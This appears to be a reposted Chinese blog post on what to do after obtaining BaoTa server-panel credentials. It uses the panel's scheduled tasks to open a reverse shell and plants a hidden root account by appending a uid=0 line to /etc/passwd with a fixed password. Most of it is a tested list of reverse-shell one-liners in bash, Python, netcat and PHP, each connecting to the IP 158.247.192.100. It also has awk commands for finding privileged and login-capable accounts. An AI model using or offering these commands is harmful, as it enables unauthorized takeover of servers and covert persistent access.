当获取到宝塔的用户名和密码后,怎么获取一个在不修改root密码的情况下的一个隐藏用户呢?
[pwdshow pwd=”8341″]
可以通过宝塔的计划任务执行shell命令,获取一个反弹shell,然后添加一个隐藏root权限用户
1.可以交互且允许uid=0的用户远程登录
echo "username:x:0:0::/:/bin/sh" >> /etc/passwd
passwd username
一个命令方式:
echo "default:x:0:0::/:/bin/sh" >> /etc/passwd
echo defaultp@ssw0rd | passwd --stdin default
[/pwdshow]
nc -lvp 7777 kali监听获取反弹shell
获取反弹shell方式
bash
bash -i >& /dev/tcp/158.247.192.100/7777 0>&1
python方式
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('158.247.192.100',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"
nc方式(系统没有nc 则先安装)
nc -e /bin/bash 158.247.192.100 7777
nc第二种方式
nc 158.247.192.100 6666|/bin/sh|nc 158.247.192.100 7777 ok
nc 158.247.192.100 6666|/bin/bash|nc 158.247.192.100 7777 ok 6666输入 7777输出
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 158.247.192.100 6666 >/tmp/f ok
php方式(确保exec可用,safe_mode 关闭)
php -r '$sock=fsockopen("158.247.192.100",6666);exec("/bin/sh -i <&4 >&4 2>&4");'
(Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6) 这个地方我测试的时候用3出错,用4是正确的。
php -r 'exec("/bin/bash -i >& /dev/tcp/158.247.192.100/6666 0>&1");' ok
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/158.247.192.100/6666 0>&1'");?> 放php文件 然后保存a.php php a.php 执行成功反弹
补充:
Linux下查看可以远程登录的账号信息:
awk '/\$1|\$6/{print $1}' /etc/shadow
查看特权账号,哪些具有root权限
awk -F: '$3==0 {print$1}' /etc/passwd
转载请注明:创富者 » 宝塔反弹shell操作和各种反弹shell测试